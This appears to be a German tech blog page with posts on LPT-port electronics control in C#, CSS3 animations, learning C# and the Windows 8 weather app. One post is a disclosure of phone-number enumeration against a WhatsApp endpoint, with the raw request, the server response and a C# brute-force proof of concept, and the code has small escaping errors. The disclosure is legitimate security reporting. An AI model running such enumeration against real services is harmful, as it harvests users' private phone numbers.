Entwicklung

Elektronik über den LPT-Port steuern

Dieser Artikel ist älter als zwei Jahre und womöglich veraltet!

Öfters möchte man einen kleinen oder auch größeren Schaltkreis über den PC steuern, wäre da nicht die komplizierte Umsetzung mit einem geeigneten Mikrocontroller und der benötigten Software.

Doch es geht viel einfacher: Der parellele Port, auch LPT-Port genannt, steht auf den meisten PC zur Verfügung und kann Kinderleicht dazu verwendet werden verschiedenen Pins einzeln mit Spannung zu versorgen.

Hardware

Port des parallelen Anschlusses

Dieser Anschluss, der vormals DER Standard für den Anschluss eines Druckers war, lässt sich für die Steuerung eines Schaltkreises verwenden indem man einen Draht in einen der Pins 2-9 und einen Draht in einen Pin von 18 bis 25 steckt.

Die Pins 2 bis 9 können einzeln vom PC mit Spannung geschaltet werden und stellen eine (Steuer-)Spannung von ca. 5 V bereit. Diese Spannung kann sollte mit einem Transistor verwendet werden, um über einen Steuerstromkreis den Arbeitsstromkreis mit (nahezu) beliebiger Spannung zu betreiben.

Außerdem kann über die Pins 10-13 ein Signal enpfangen werden, was in diesem Fall bedeutet, dass der Stromkreis geschlossen ist und Strom von den Pins 18-25 zu den Pins 10-13 fließt.

Ein LPT-Kabel, das in meinem Fall einen alten Drucker mit Daten versorgte, verlegt den Anschluss bequem nach vorne und erspart einem so manchen Schlag mit dem Kopf gegen die Tischplatte.

Software

Beispiel eines TCP-Clients zum Steuern einer LED:

Beispiel GUI

Für das einfache Anlegen einer Spannung auf einem Pin empfehle ich das Programme lptout.exe. Für komplexere Aufgaben ist jedoch die Klasse inpout32.dll bzw. inpout64.dll geeignet. Da ich keine Rechte für die genannten Programme besitze, möchte ich nicht auf einen Download verlinken, doch eine Google-Suche bringt einem schnell ans Ziel.

Ich habe mir für leichtere Handhabung eine kleine C#-Klasse geschrieben:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;

namespace WindowsFormsApplication1{

	public class LPTController{

		[DllImport("inpout32.dll")]
		private static extern UInt32 IsInpOutDriverOpen();

		[DllImport("inpout32.dll")]
		private static extern void Out32(short PortAddress, short Data);

		[DllImport("inpout32.dll")]
		private static extern char Inp32(short PortAddress);

		[DllImport("inpout32.dll")]
		private static extern void DlPortWritePortUshort(short PortAddress, ushort Data);

		[DllImport("inpout32.dll")]
		private static extern ushort DlPortReadPortUshort(short PortAddress);

		[DllImport("inpout32.dll")]
		private static extern void DlPortWritePortUlong(int PortAddress, uint Data);

		[DllImport("inpout32.dll")]
		private static extern uint DlPortReadPortUlong(int PortAddress);

		[DllImport("inpoutx64.dll")]
		private static extern bool GetPhysLong(ref int PortAddress, ref uint Data);

		[DllImport("inpoutx64.dll")]
		private static extern bool SetPhysLong(ref int PortAddress, ref uint Data);

		private bool _X64;
		private short _PortAddress;

		public LPTController(short PortAddress){
			_X64 = false;
			_PortAddress = PortAddress;
		
			try{
				uint nResult = 0;
				try{
					nResult = IsInpOutDriverOpen();
				}
				catch (BadImageFormatException){

				}
				if (nResult == 0){
					throw new ArgumentException("Unable to open InpOut32 driver");
				}
			}
			catch (DllNotFoundException){
				throw new ArgumentException("Unable to find InpOut32.dll");
			}
		}
		
		public void Write(short Data){
			Out32(_PortAddress, Data);
		}

		public byte Read(){
			return (byte)Inp32(_PortAddress);
		}
	}
}

Mit dieser Klasse kann man einfach den Zustand Auslesen und ihn ändern:

LPTController lpt = new LPTController(888);

if(lpt.Read() == 255){
	lpt.Write(0);
}
else{
	lpt.Write(255);
}

Hinweis

Natürlich geschieht das alles auf Ihre eigene Gefahr und ich übernehme keine Haftung für jedwede Schäden an Gerät und Gesundheit. 230V haben hier nichts verloren!!!

Update 13.03.2016: Natürlich muss es der parallele und nicht der serielle Port.

Security

WhatsApp erlaubt Bruteforce auf Telefonnummern

Dieser Artikel ist älter als zwei Jahre und womöglich veraltet!

Eine Telefonnummer möchte man meist gerne für sich behalten, um nicht von Personen belästigt zu werden und einfach seine Ruhe zu haben. Mit der Nutzung der weitverbreiteten WhatsApp-Anwendung auf seinem Mobiltelefon macht man jedoch möglich die Rufnummern der angemeldeten Benutzer zu durchsuchen. In der App wird angezeigt welche seiner Kontakte bereits für WhatsApp registriert sind.

Dazu wird eine Anfrage mit den Telefonnummern seiner Kontakte an den WhatsApp-Server sro.whatsapp.net geschickt:

POST /client/iphone/iq.php HTTP/1.1 
Host: sro.whatsapp.net 
User-Agent: WhatsApp/2.6.7 iPhone_OS/4.3.3 Device/iPhone 
Accept: */* 
Accept-Language: de-de 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 710 
Connection: keep-alive 
Proxy-Connection: keep-alive 

cd=1&cc=43&me=664XXXXXXX&u[]=0699XXXXXXX&u[]=0680XXXXXXX

Im Body der POST-Anfrage an /client/iphone/iq.php werden die Telefonnummern als Array (?) in der Form des GET-Parameters u[]=XXXXXXXXXXX übermittelt. Der Parameter me muss jedoch nicht angegeben werden. Zudem darf die Anfrage auch über GET erfolgen. Auf die Anfrage antwortet der Server mit dem Status der Teilnehmer im plist-Format:

<plist version="1.0">
	<array>
		<dict>
			<key>P</key>
			<string>0043664.......</string>
			<key>T</key>
			<integer>199610</integer>
			<key>S</key>
			<string>....</string>
			<key>JID</key>
			<string>43664.......</string>
		</dict>
	</array>
</plist>

So ist es natürlich auch möglich einen Brute-Force Angriff auf Handynummern zu starten, und das funktioniert auch. Man kann zum Beispiel hundert Nummern generieren lassen, die man dann alle zusammen an den WhatsApp-Server übermittelt. Daraufhin erhält man alle Benutzer in diesem Bereich, die WhatsApp benutzen. Als ein Proof-of-Concept habe ich ein kleines Programm in C# zusammengestöpselt, das Telefonnummern aus einem bestimmten Bereich generiert und diese anschließ;end an den passenden WhatsApp-Server schickt. Anschließ;end wird der Inhalt der plist-Datei in der Konsole ausgegeben.

using System; 
using System.Collections.Generic; 
using System.Linq; 
using System.Text; 
using System.Net; 

namespace WhatsAppBrute{
	class Program{
		static void Main(string[] args){
			WebClient c = new WebClient(); 
			String start = "https://sro.whatsapp.net/client/iphone/iq.php?cd=1&amp;cc=43" 
			
			for (Int32 i = 0; i &lt; 100; i++){
				String count; 
				
				if(i < 10){
					count = "0" + i.ToString(); 
				} 
				else { 
					count = i.ToString(); 
				} 
				
				start += "&u[]=0664XXXXX" + count; 
			} 
			
			Console.WriteLine(c.DownloadString(start)); 
			Console.ReadLine(); 
		}
	} 
}

Dieser Code dient nur zu Vorführzwecken und darf nicht für einen Angriff auf die Server von WhatsApp verwendet werden!

Fazit: Es ist erschreckend wie einfach eine solche Anfrage ausgeführt werden kann und wie freizügig mit den Telefonnummern umgegangen wird. Natürlich wird nicht jeder Benutzer eine so umständliche Art benutzen (wollen), aber es ist möglich.

Entwicklung

CSS3 Animationen - Ein erster Einstieg

Dieser Artikel ist älter als zwei Jahre und womöglich veraltet!

Vielleicht haben Sie schon einmal davon gehört: CSS3-Animationen. Es soll also möglich sein nur mit CSS eine kleine Animation zu erstellen. Doch wie geht das? Am Besten probieren wir es einmal an einem kleinen Beispiel, um die Grundzüge zu verstehen.

Wir nehmen an, wir wollen einen einfachen Text rotieren lassen:

Demo

Zuerst wird die Animation im CSS der Seite definiert:

@keyframes move
{
	50% { margin-left: 500px;}
	100% { transform: rotate(360deg);}
}

Zur Erklärung: Man erstellt ein Definition mit dem Namen @keyframes und benennt es ganz nach seinen Vorlieben. Ich habe die Animation hier move genannt. In den Anweisungen für dieses Element wird für die jeweiligen Animationsfortschritt in Prozent der Zustand abspeichern. Hier zum Beispiel eine Rotation um 360° und bei 50% eine Verchiebung zu margin-left: 500px.

Aber: So einfach läuft es auf der Welt einfach nun einmal nicht: Natürlich funktioniert es bei Firefox nur mit @-moz-keyframes und bei Safari und Chrome nur mit @-webkit-keyframes und transform braucht natürlich auch noch ein Prefix. Und ja: Der Internet-Explorer fällt durch, war ja klar.

Also nochmal für alle:

@keyframes move
{
  50% { margin-left: 500px;}
  100% { transform: rotate(360deg);}
}
@-moz-keyframes move
{
  50% { margin-left: 500px;}
  100% { -moz-transform: rotate(360deg);}
}
@-webkit-keyframes move
{
	50% { margin-left: 500px;}
	100% { -webkit-transform: rotate(360deg);}
}

Jetzt wird der CSS-Definition die gewünschte Animation zugewiesen:

.demo_object{
	animation: move 2s infinite;
}

Es läuft also nach dem Muster:

*animation: [unendlichkeit (optional)]*

Man gibt den Namen der Animation, die vorher definiert wurde und danach die gewünschte Länge der Animation an. Zusätzlich kann man noch defninieren, ob die Animation unendlich wiederholt werden soll, und zwar mit infinite.

Und, Sie ahnen es schon, das Spiel wiederholt sich. Also:

.demo_object{
	animation: move 2s infinite;
	-moz-animation: move 2s infinite;
	-webkit-animation: move 2s infinite;
}

CSS-Animationen stellen schon heute eine gute Möglichkeit dar HTML-Elemente zu animieren. Zu wüschen wäre jedoch eine bessere Unterstützung der Browser und kein Zwang zur Nutzung der browserspezifischen Prefixe. Da der Internet-Explorer jedoch immer noch eine große Verbreitung aufweist, muss mit der Verwendung noch ein wenig gespart werden, bzw. ein Fallback angeboten werden.

Entwicklung

C# und Ich

Dieser Artikel ist älter als zwei Jahre und womöglich veraltet!

Mit der Zeit muss man sich auch wieder einmal an etwas Neuem versuchen. Genau das habe ich jetzt gemacht und somit habe ich angefangen C# zu lernen. Zu empfehlen ist dazu eine IDE, also eine integrierte Entwicklungsumgebung. Ich habe Microsoft Visual C# Express von Microsoft verwendet, das man hier downloaden kann. Der Download und die Installation kann hierbei jedoch eine Weile dauern.

C#

Was man also dazu braucht:

  • Microsoft Visual C#
  • Geduld

Wenn man, so wie ich, von PHP kommt ist erst einmal zu beachten, dass man genau angeben muss welcher Typ in einer Variable abgespeichert wird. Zum Beispiel:

String variable = "Hallo Welt";

oder

Double result = 12 * 234;

Natürlich gibt es noch weitere, aber so weit bin ich eben auch noch nicht. Man kann im Entwurfsfenster die Anordnung der Elemente verändern und sie auch umbenennen. Dann gibt man im Code, zu dem man durch einen Doppelklick kommt, den Namen des Elementes ein und es werden einem die verschiedenen Methoden und Eigenschaften vorgeschlagen. Den Text eines Textfeldes ruft man zum Beispiel so ab:

String text = meinetextbox.Text;

Vielleicht kommen ja in nächster Zeit weitere Beiträge zu C#!

Software

Windows 8 - Wetter

Dieser Artikel ist älter als zwei Jahre und womöglich veraltet!

Auch das aktuelle Wetter wurde in Windows 8, dem neuen Microsoft Betriebssystem, in einer eigenen App integriert. Diese zeigt übersichtlich und unübersehbar das Wetter an.

Wetter Logo

Im Hintergrund läuft dabei eine Animation von Wolken ab, die meinen Test-PC in einer virtuellen Maschine fast zum Abstürzen brachte.

Wie auch im Browser werden durch einen Rechtsklick die Bedienelemente aufgerufen. Hierbei kann man eine Stadt anpinnen, entfernen, den aktuellen Standort hinzufügen, eine beliebige Stadt hinzufügen, oder sich eine Übersicht oder den stündlichen Verlauf anzeigen lassen.

Detail Wien

Übersicht Wien

Übersicht Wien

Wenn manche von Ihnen jetzt meinen, dass es in Wien doch niemals 70° Celsius haben kann: Da haben Sie recht, denn eine Einstellungsmöglichkeit für die Umstellung von Fahrenheit auf Celsius habe ich in dieser Windows-Version noch nicht gefunden.